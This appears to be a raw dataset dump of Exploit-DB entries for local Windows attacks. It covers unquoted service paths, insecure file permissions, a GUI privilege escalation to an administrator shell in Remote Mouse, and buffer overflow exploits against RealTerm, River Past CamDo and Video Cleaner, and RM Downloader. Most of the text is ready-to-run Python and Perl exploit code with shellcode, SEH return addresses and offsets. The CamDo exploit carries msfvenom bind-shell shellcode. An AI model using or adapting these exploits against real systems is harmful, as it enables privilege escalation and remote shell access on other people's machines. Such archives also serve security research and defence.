deardaniel/secdata-raw huggingface dataset:
Exploit-DB #49646
Description: Realtek Wireless LAN Utility 700.1631 - 'Realtek11nSU' Unquoted Service Path
Type: local
Platform: windows
Date: 2021-03-15
Author: Luis Martínez

Exploit:
# Exploit Title: Realtek Wireless LAN Utility 700.1631 - 'Realtek11nSU' Unquoted Service Path
# Discovery by: Luis Martinez
# Discovery Date: 2021-03-14
# Vendor Homepage: https://www.realtek.com/en/
# Tested Version: 700.1631
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Pro x64 es

# Step to discover Unquoted Service Path: 

C:\>wmic service get name, pathname, displayname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "Realtek" | findstr /i /v """

Realtek11nSU	Realtek11nSU	C:\Program Files (x86)\Realtek\Wireless LAN Utility\RtlService.exe	Auto


# Service info:

C:\>sc qc "Realtek11nSU"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: Realtek11nSU
        TYPE               : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\Realtek\Wireless LAN Utility\RtlService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Realtek11nSU
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

#Exploit:

A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.
Exploit-DB #46441
Description: RealTerm Serial Terminal 2.0.0.70 - 'Echo Port' Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2019-02-21
Author: Matteo Malvica

Exploit:
# Exploit Title: RealTerm: Serial Terminal 2.0.0.70 - 'Echo Port' Buffer Overflow - (SEH) 
# Date: 21.02.2019
# Exploit Author: Matteo Malvica
# Vendor Homepage: https://realterm.sourceforge.io/
# Software Link: https://sourceforge.net/projects/realterm/files/ 
# Version: 2.0.0.70
# Category: Local
# Contact: https://twitter.com/matteomalvica
# Version: CloudMe Sync 1.11.2
# Tested on: Windows 7 SP1 x64
# Originail PoC https://www.exploit-db.com/exploits/46391

# 1.- Run the python script  it will create a new file "carbonara.txt"
# 2.- Copy the content of the new file 'carbonara.txt' to clipboard
# 3.- Open realterm.exe 
# 4.- Go to 'Echo Port' tab
# 5.- Paste clipboard in 'Port' field
# 6.- Click on button -> Change
# 7.- Check 'Echo On' or 
# 8.- Box!


import socket
import struct

'''
badchars: 0x20,0x0a
arwin.exe user32.dll MessageBoxA
arwin - win32 address resolution program - by steve hanna - v.01
MessageBoxA is located at 0x747cfdae in user32.dll
'''
shellcode = (
"\x33\xc0"                          # XOR EAX,EAX
"\x50"                              # PUSH EAX      => padding for lpCaption
"\x68\x7a\x6f\x21\x21"              # PUSH "zo!!"
"\x68\x61\x76\x61\x6e"              # PUSH "avan"
"\x8B\xCC"                          # MOV ECX,ESP   => PTR to lpCaption
"\x50"                              # PUSH EAX      => padding for lpText
"\x68\x6e\x7a\x6f\x21"              # PUSH "nzo!"
"\x68\x61\x76\x61\x21"              # PUSH "ava!"
"\x8B\xD4"                          # MOV EDX,ESP   => PTR to lpText
"\x50"                              # PUSH EAX - uType=0x0
"\x51"                              # PUSH ECX - lpCaption
"\x52"                              # PUSH EDX - lpText
"\x50"                              # PUSH EAX - hWnd=0x0
"\xBE\xae\xfd\x7c\x74"              # MOV ESI,USER32.MessageBoxA <<< hardcoded address
"\xFF\xD6")                         # CALL ESI

pad1="\x90"*(142-len(shellcode))
pad2 = "\x42" * 118
nseh = "\xEB\x80\x90\x90"
jmp_back = "\xEB\x80\x90\x90"
short_jmp = "\xEB\x12\x90\x90"
seh =  struct.pack('<L',0x00406e27)  # 00406e27# POP POP RET
nops = "\x90\x90\x90\x90"
payload = pad1  + shellcode + nops + jmp_back + pad2 + nseh + seh 


try:
        f=open("carbonara.txt","w")
        print "[+] Creating %s bytes pasta payload.." %len(payload)
        f.write(payload)
        f.close()
        print "[+] Carbonara created!"

except:
        print "Carbonara cannot be created"
Exploit-DB #49021
Description: RealTimes Desktop Service 18.1.4 - 'rpdsvc.exe' Unquoted Service Path
Type: local
Platform: windows
Date: 2020-11-09
Author: Erick Galindo

Exploit:
# Exploit Title: RealTimes Desktop Service  18.1.4 - 'rpdsvc.exe' Unquoted Service Path
# Discovery by: Erick Galindo 
# Discovery Date: 2020-11-07
# Vendor Homepage: https://www.real.com/
# Tested Version: 18.1.4
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 7 Enterprise  SP1 x64 es
# Step to discover Unquoted Service Path:
 
c:\wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr 
/i /v "C:\Windows\\" | findstr /i /v "RealTimes" | findstr /i /v """

RealTimes Desktop Service          RealTimes Desktop Service           c:\program files (x86)\real\realplayer\RPDS\Bin\rpdsvc.exe            Auto

# Service info

sc qc "RealTimes Desktop Service"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: RealTimes Desktop Service
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: c:\program files (x86)\real\realplayer\RPDS\Bin\rpdsvc.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : RealTimes Desktop Service
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem
		#Exploit:

This vulnerability could permit executing code during startup or reboot with the escalated privileges.
Exploit-DB #50258
Description: Remote Mouse 4.002 - Unquoted Service Path
Type: local
Platform: windows
Date: 2021-09-03
Author: Salman Asad

Exploit:
# Exploit Title: Remote Mouse 4.002 - Unquoted Service Path
# Exploit Author: Salman Asad (@deathflash1411) a.k.a LeoBreaker
# Date: 03.09.2021
# Software Link: https://www.remotemouse.net/downloads/RemoteMouse.exe
# Vendor Homepage: https://www.remotemouse.net/
# Version: Remote Mouse 3.008 & 4.002
# Tested on: Windows 10

# Proof of Concept:

C:\Users\death>sc qc RemoteMouseService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: RemoteMouseService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\Remote Mouse\RemoteMouseService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : RemoteMouseService
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\Users\death>cmd /c wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """
RemoteMouseService		RemoteMouseService		C:\Program Files (x86)\Remote Mouse\RemoteMouseService.exe		Auto
Exploit-DB #50047
Description: Remote Mouse GUI 3.008 - Local Privilege Escalation
Type: local
Platform: windows
Date: 2021-06-21
Author: Salman Asad

Exploit:
# Exploit Title: Remote Mouse GUI 3.008 - Local Privilege Escalation
# Exploit Author: Salman Asad (@deathflash1411) a.k.a LeoBreaker
# Date: 17.06.2021
# Version: Remote Mouse 3.008
# Tested on: Windows 10 Pro Version 21H1
# Reference: https://deathflash1411.github.io/blog/cve-2021-35448
# CVE: CVE-2021-35448

Steps to reproduce:

1. Open Remote Mouse from the system tray
2. Go to "Settings"
3. Click "Change..." in "Image Transfer Folder" section
4. "Save As" prompt will appear
5. Enter "C:\Windows\System32\cmd.exe" in the address bar
6. A new command prompt is spawned with Administrator privileges
Exploit-DB #51079
Description: Resource Hacker v3.6.0.92 - Buffer overflow
Type: local
Platform: windows
Date: 2023-03-27
Author: Rafael Pedrero

Exploit:
# Exploit Title: Resource Hacker 3.6.0.92 - Buffer overflow
# Discovery by: Rafael Pedrero
# Discovery Date: 2022-01-06
# Vendor Homepage: http://www.angusj.com/resourcehacker/
# Software Link : http://www.angusj.com/resourcehacker/
# Tested Version: 3.6.0.92
# Tested on:  Windows 10

CVSS v3: 7.3
CVSS vector: CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
CWE: CWE-119

Heap-based buffer overflow controlling the Structured Exception Handler
(SEH) records in Reseource Hacker v3.6.0.92, and possibly other versions,
may allow attackers to execute arbitrary code via a long file name argument.

Proof of concept:

Open ResHacker.exe from command line with a large string in Arguments, more
than 268 chars:

File 'C:\ResourceHacker36\ResHacker.exe'
Arguments
'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac...'

SEH chain of main thread
Address    SE handler
0018FCB4   316A4130
6A413969   *** CORRUPT ENTRY ***

0BADF00D   [+] Examining SEH chain
0BADF00D       SEH record (nseh field) at 0x0018fcb4 overwritten with
normal pattern : 0x6a413969 (offset 268), followed by 12 bytes of cyclic
data after the handler

0BADF00D   ------------------------------
'Targets'        =>
[
[ '<fill in the OS/app version here>',
{
                                       'Ret'         =>    0x00426446, #
pop eax # pop ebx # ret    - ResHacker.exe (change this value from Mona,
with a not \x00 ret address)
                                       'Offset'    =>    268
}
],
],
Exploit-DB #39916
Description: Riot Games League of Legends - Insecure File Permissions Privilege Escalation
Type: local
Platform: windows
Date: 2016-06-10
Author: Cyril Vallicari

Exploit:
------------------------------------------------------------------------------------
# Exploit Title: Riot Games League of Legends Insecure File Permissions Privilege Escalation
# Date: 03/06/16
# Exploit Author: Cyril Vallicari (i give credit also to Vincent Yiu he
probably found this too)
# Vendor Homepage: http://www.leagueoflegends.com
# Version : LeagueofLegends_EUW_Installer_2016_05_13.exe (last version) and LeagueofLegends_EUW_Installer_9_15_2014.exe (an old one)
# Tested on: Windows 7 Professional x64 fully updated. But it should work on all windows system

Description:

The League of Legends Folder is installed with insecure file
permissions. It was found that all folder and most file permissions were
incorrectly configured during installation. It was possible to replace most
binaries.
This can be used to get a horizontal and vertical privilege escalation.

POC :

C:\Users\Utilisateur>icacls "C:\Riot Games\League of Legends"
C:\Riot Games\League of Legends BUILTIN\Administrateurs:(I)(F)
                                BUILTIN\Administrateurs:(I)(OI)(CI)(IO)(F)
                                AUTORITE NT\Système:(I)(F)
                                AUTORITE NT\Système:(I)(OI)(CI)(IO)(F)
                                BUILTIN\Utilisateurs:(I)(OI)(CI)(RX)
                                AUTORITE NT\Utilisateurs authentifiés:(I)(M)
                                AUTORITE NT\Utilisateurs
authentifiés:(I)(OI)(CI)(IO)(M)


POC video : https://www.youtube.com/watch?v=_t1kvXBGV2E


Additional Notes :

"Based on our assessment, we feel that the severity and risk related to
this issue is low. We are going to mark this as a won't fix as we're
planning on will be taking this functionality offline soon with our new
league client."

"we determined that there are some design choices regarding the game client
install location and default permissions that prevent us from changing the
current behavior."

I've try to explain that file permissions aren't a functionality that you
take offline or design choices, without success. Sorry guys you will have
to patch this manually..

Related report :
 https://www.exploit-db.com/exploits/39903/

------------------------------------------------------------------------------------
Exploit-DB #46335
Description: River Past Cam Do 3.7.6 - Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2019-02-11
Author: Achilles

Exploit:
# Exploit Title: River Past CamDo SEH Local Exploit
# Date: 07.02.2019
# Vendor Homepage:www.riverpast.com
# Software Link:  https://en.softonic.com/download/river-past-cam-do/windows/post-download?sl=1
# Exploit Author: Achilles
# Tested Version: 3.7.6
# Tested on: Windows XP SP3 EN

# 1.- Run python code : CamDo.py
# 2.- Open EVIL.txt and copy content to clipboard
# 3.- Open CamDo.exe and click on the 'Options' Inside fhe 'File' Menu.
# 4.- Paste the Content of EVIL.txt into the 'Lame_enc.dll' name field.
# 5.- Click 'OK' and you will have a bind shell port 3110.


#!/usr/bin/env python
import struct

buffer = "\x41" * 280
NSEH = "\xeb\x06\x90\x90" #jmp short 6
SEH =  struct.pack('<L',0x10010b0b) #pop pop ret rvddshow2.dll
nops = "\x90" * 20

#badchar \x00\x0a\x0d\x2f\
#msfvenom -p windows/shell_bind_tcp LPORT=3110  -a x86 -b '\x00\x0a\x0d\x2f'  -f python

shellcode = ("\xb8\x9c\x94\x39\x34\xdb\xda\xd9\x74\x24\xf4\x5a\x33"
"\xc9\xb1\x53\x31\x42\x12\x03\x42\x12\x83\x5e\x90\xdb"
"\xc1\xa2\x71\x99\x2a\x5a\x82\xfe\xa3\xbf\xb3\x3e\xd7"
"\xb4\xe4\x8e\x93\x98\x08\x64\xf1\x08\x9a\x08\xde\x3f"
"\x2b\xa6\x38\x0e\xac\x9b\x79\x11\x2e\xe6\xad\xf1\x0f"
"\x29\xa0\xf0\x48\x54\x49\xa0\x01\x12\xfc\x54\x25\x6e"
"\x3d\xdf\x75\x7e\x45\x3c\xcd\x81\x64\x93\x45\xd8\xa6"
"\x12\x89\x50\xef\x0c\xce\x5d\xb9\xa7\x24\x29\x38\x61"
"\x75\xd2\x97\x4c\xb9\x21\xe9\x89\x7e\xda\x9c\xe3\x7c"
"\x67\xa7\x30\xfe\xb3\x22\xa2\x58\x37\x94\x0e\x58\x94"
"\x43\xc5\x56\x51\x07\x81\x7a\x64\xc4\xba\x87\xed\xeb"
"\x6c\x0e\xb5\xcf\xa8\x4a\x6d\x71\xe9\x36\xc0\x8e\xe9"
"\x98\xbd\x2a\x62\x34\xa9\x46\x29\x51\x1e\x6b\xd1\xa1"
"\x08\xfc\xa2\x93\x97\x56\x2c\x98\x50\x71\xab\xdf\x4a"
"\xc5\x23\x1e\x75\x36\x6a\xe5\x21\x66\x04\xcc\x49\xed"
"\xd4\xf1\x9f\x98\xdc\x54\x70\xbf\x21\x26\x20\x7f\x89"
"\xcf\x2a\x70\xf6\xf0\x54\x5a\x9f\x99\xa8\x65\x93\x7f"
"\x24\x83\xc1\x6f\x60\x1b\x7d\x52\x57\x94\x1a\xad\xbd"
"\x8c\x8c\xe6\xd7\x0b\xb3\xf6\xfd\x3b\x23\x7d\x12\xf8"
"\x52\x82\x3f\xa8\x03\x15\xb5\x39\x66\x87\xca\x13\x10"
"\x24\x58\xf8\xe0\x23\x41\x57\xb7\x64\xb7\xae\x5d\x99"
"\xee\x18\x43\x60\x76\x62\xc7\xbf\x4b\x6d\xc6\x32\xf7"
"\x49\xd8\x8a\xf8\xd5\x8c\x42\xaf\x83\x7a\x25\x19\x62"
"\xd4\xff\xf6\x2c\xb0\x86\x34\xef\xc6\x86\x10\x99\x26"
"\x36\xcd\xdc\x59\xf7\x99\xe8\x22\xe5\x39\x16\xf9\xad"
"\x4a\x5d\xa3\x84\xc2\x38\x36\x95\x8e\xba\xed\xda\xb6"
"\x38\x07\xa3\x4c\x20\x62\xa6\x09\xe6\x9f\xda\x02\x83"
"\x9f\x49\x22\x86")


payload = buffer + NSEH + SEH + nops + shellcode


try:
	f=open("Evil.txt","w")
	print "[+] Creating %s bytes evil payload.." %len(payload)
	f.write(payload)
	f.close()
	print "[+] File created!"
except:
	print "File cannot be created"
Exploit-DB #46346
Description: River Past Video Cleaner 7.6.3 - Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2019-02-11
Author: crash_manucoot

Exploit:
# Exploit Title: River Past Video Cleaner Buffer Overflow (SEH)
# Date: 9-2-2019
# Exploit Author: crash_manucoot
# Contact: twitter.com/crash_manucoot
# Software Link: https://river-past-video-cleaner.softonic.com/
# Version: 7.6.3
# Tested on: Windows 10 Pro x64 SPANISH
# Category: Windows Local Exploit
# How to use:open the program go to file-options paste the contents of open.txt in the Lame_enc.dll field and the calculator will open




buff = "A" * 280
nseh = "\xeb\x06\x90\x90" 
seh  = "\x3a\x91\x01\x10"
nop = "\x90" * 16

shellcode =  ""
shellcode += "\xbf\xc6\xde\x94\x3e\xda\xd0\xd9\x74\x24\xf4\x5d"
shellcode += "\x31\xc9\xb1\x31\x31\x7d\x13\x03\x7d\x13\x83\xc5"
shellcode += "\xc2\x3c\x61\xc2\x22\x42\x8a\x3b\xb2\x23\x02\xde"
shellcode += "\x83\x63\x70\xaa\xb3\x53\xf2\xfe\x3f\x1f\x56\xeb"
shellcode += "\xb4\x6d\x7f\x1c\x7d\xdb\x59\x13\x7e\x70\x99\x32"
shellcode += "\xfc\x8b\xce\x94\x3d\x44\x03\xd4\x7a\xb9\xee\x84"
shellcode += "\xd3\xb5\x5d\x39\x50\x83\x5d\xb2\x2a\x05\xe6\x27"
shellcode += "\xfa\x24\xc7\xf9\x71\x7f\xc7\xf8\x56\x0b\x4e\xe3"
shellcode += "\xbb\x36\x18\x98\x0f\xcc\x9b\x48\x5e\x2d\x37\xb5"
shellcode += "\x6f\xdc\x49\xf1\x57\x3f\x3c\x0b\xa4\xc2\x47\xc8"
shellcode += "\xd7\x18\xcd\xcb\x7f\xea\x75\x30\x7e\x3f\xe3\xb3"
shellcode += "\x8c\xf4\x67\x9b\x90\x0b\xab\x97\xac\x80\x4a\x78"
shellcode += "\x25\xd2\x68\x5c\x6e\x80\x11\xc5\xca\x67\x2d\x15"
shellcode += "\xb5\xd8\x8b\x5d\x5b\x0c\xa6\x3f\x31\xd3\x34\x3a"
shellcode += "\x77\xd3\x46\x45\x27\xbc\x77\xce\xa8\xbb\x87\x05"
shellcode += "\x8d\x34\xc2\x04\xa7\xdc\x8b\xdc\xfa\x80\x2b\x0b"
shellcode += "\x38\xbd\xaf\xbe\xc0\x3a\xaf\xca\xc5\x07\x77\x26"
shellcode += "\xb7\x18\x12\x48\x64\x18\x37\x2b\xeb\x8a\xdb\x82"
shellcode += "\x8e\x2a\x79\xdb"

evil = buff + nseh + seh + nop + shellcode

file = open('open.txt','w+')
file.write(evil)
file.close()
Exploit-DB #11202
Description: RM Downloader - '.m3u' Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2010-01-19
Author: jacky

Exploit:
#!/usr/bin/perl -w
# Author: Jacky
# Version: 3.0.2.1
# Tested on: Windows XP SP2

#RM Downloader m3u Buffer Overflow (SEH) (Perl Edition )
#Discovered by ::> Peter Van Eeckhoutte ( VERY BIG GREETZ TO HIM ) ;-)
#Written by Jacky
#All Greetz for Peter Van Eeckhoutte and Corelan Team !!!
#I tried to exploit it by a Direct Ret , but on my system , it doesn't seem that it's a Direct
#Ret Vulnerability , so i tried by SEH and Voila !
#THIS EXPLOIT IS FOR EDUCATIONAL PURPOSES ONLY !!!

my $file="RM.m3u";
my $junk="A"x35059;
my $nseh="\xeb\x1e\x90\x90";
my $seh="\x1F\xEA\x02\x10"; # 0x1002EA1F::> Thanks for Peter who gave me this
#address and it worked Perfectly ;-)
#This Address works too ::> 0x01DD1111
my $nops="\x90"x25;
my $esp="\xbf\x1b\xaf\xd9\xd2\x2b\xc9\xb1\x24\xdb\xda\xd9\x74\x24\xf4\x5b".
"\x31\x7b\x0e\x83\xeb\xfc\x03\x60\xa5\x3b\x27\x6a\x51\xff\xc8\x92".
"\xa2\x8b\x8c\xae\x29\xf7\x0b\xb6\x2c\xe7\x9f\x09\x37\x7c\xc0\xb5".
"\x46\x69\xb6\x3e\x7c\xe6\x48\xae\x4c\x38\xd3\x82\x2b\x78\x90\xdd".
"\xf2\xb3\x54\xe0\x36\xa8\x93\xd9\xe2\x0b\x58\x68\xee\xdf\x3f\xb6".
"\xf1\x34\xd9\x3d\xfd\x81\xad\x1e\xe2\x14\x59\x2b\x06\x9c\x9c\xc0".
"\xbe\xfe\xba\x12\x02\xcf\x02\x7e\x0f\x70\xb3\xfb\xcf\x09\xbf\x88".
"\x90\xe5\x34\xfe\x0c\x5b\xc1\x96\x24\x48\xdf\xed\xb5\x3e\xe0\xf1".
"\xb5\xb5\x89\xcd\xea\xf8\xbf\x4d\x43\x72\xc7\x0e\xab\xff\x68\x78".
"\xdc\x8a\x8d\x27\x74\x13\x73\x5d\x8a\x74\x73\x86\xf0\x1b\xe7\x2b".
"\xd9\xbe\x8f\xce\x25";

my $junk2="A"x5000;
my $payload=$junk.$nseh.$seh.$nops.$esp.$junk2;


open(INI,">$file");
print INI $payload;
print "[+]File Created Successfully!\n";
print "[+]Done!\n";
close(INI);
Exploit-DB #8589
Description: RM Downloader - '.smi' Local Stack Overflow
Type: local
Platform: windows
Date: 2009-05-01
Author: ThE g0bL!N

Exploit:
#usage: exploit.py
print "**************************************************************************"
print " RM Downloader (.smi) Local Stack Overflow\n"
print " Exploit code: ThE g0bL!N"
print " Tested on: Windows XP Pro SP3 (EN)\n"
print " greetz: His0k4 Dos-Dz TeaM-Snakes Team and all My friend\n"
print "**************************************************************************"
                     
buff = "\x41" * 26083
jump = "\x5D\x38\x82\x7C" # jmp esp kernel32.dll
nops = "\x90"*6

# win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
shellcode = (
"\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x4b"
"\x1d\xa3\xb6\x83\xeb\xfc\xe2\xf4\xb7\xf5\xe7\xb6\x4b\x1d\x28\xf3"
"\x77\x96\xdf\xb3\x33\x1c\x4c\x3d\x04\x05\x28\xe9\x6b\x1c\x48\xff"
"\xc0\x29\x28\xb7\xa5\x2c\x63\x2f\xe7\x99\x63\xc2\x4c\xdc\x69\xbb"
"\x4a\xdf\x48\x42\x70\x49\x87\xb2\x3e\xf8\x28\xe9\x6f\x1c\x48\xd0"
"\xc0\x11\xe8\x3d\x14\x01\xa2\x5d\xc0\x01\x28\xb7\xa0\x94\xff\x92"
"\x4f\xde\x92\x76\x2f\x96\xe3\x86\xce\xdd\xdb\xba\xc0\x5d\xaf\x3d"
"\x3b\x01\x0e\x3d\x23\x15\x48\xbf\xc0\x9d\x13\xb6\x4b\x1d\x28\xde"
"\x77\x42\x92\x40\x2b\x4b\x2a\x4e\xc8\xdd\xd8\xe6\x23\xed\x29\xb2"
"\x14\x75\x3b\x48\xc1\x13\xf4\x49\xac\x7e\xc2\xda\x28\x1d\xa3\xb6")


exploit = buff + jump + nops + shellcode

try:
    out_file = open("exploit.smi",'w')
    out_file.write(exploit+"\r\n")
    out_file.close()
    raw_input("\nExploit file created!\n")
except:
    print "Error"

# milw0rm.com [2009-05-01]
Exploit-DB #8594
Description: RM Downloader - '.smi' Universal Local Buffer Overflow
Type: local
Platform: windows
Date: 2009-05-01
Author: Stack

Exploit:
#!/usr/bin/perl
# RM Downloader (.smi File) Universal Overflow Exploit
use strict;
use warnings;
my $shellcode =
"\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x4b".
"\x1d\xa3\xb6\x83\xeb\xfc\xe2\xf4\xb7\xf5\xe7\xb6\x4b\x1d\x28\xf3".
"\x77\x96\xdf\xb3\x33\x1c\x4c\x3d\x04\x05\x28\xe9\x6b\x1c\x48\xff".
"\xc0\x29\x28\xb7\xa5\x2c\x63\x2f\xe7\x99\x63\xc2\x4c\xdc\x69\xbb".
"\x4a\xdf\x48\x42\x70\x49\x87\xb2\x3e\xf8\x28\xe9\x6f\x1c\x48\xd0".
"\xc0\x11\xe8\x3d\x14\x01\xa2\x5d\xc0\x01\x28\xb7\xa0\x94\xff\x92".
"\x4f\xde\x92\x76\x2f\x96\xe3\x86\xce\xdd\xdb\xba\xc0\x5d\xaf\x3d".
"\x3b\x01\x0e\x3d\x23\x15\x48\xbf\xc0\x9d\x13\xb6\x4b\x1d\x28\xde".
"\x77\x42\x92\x40\x2b\x4b\x2a\x4e\xc8\xdd\xd8\xe6\x23\xed\x29\xb2".
"\x14\x75\x3b\x48\xc1\x13\xf4\x49\xac\x7e\xc2\xda\x28\x1d\xa3\xb6";
my $junk = "\x41" x 26076;
my $eip  = "\x17\x48\xF8\x01"; # Universall Ret Adress
my $nops = "\x90" x 24;
open(my $playlist, "> spl.smi");
print $playlist
                    $junk.$eip.$nops.$shellcode.$junk.
                    "\r\n";
close $playlist;

# milw0rm.com [2009-05-01]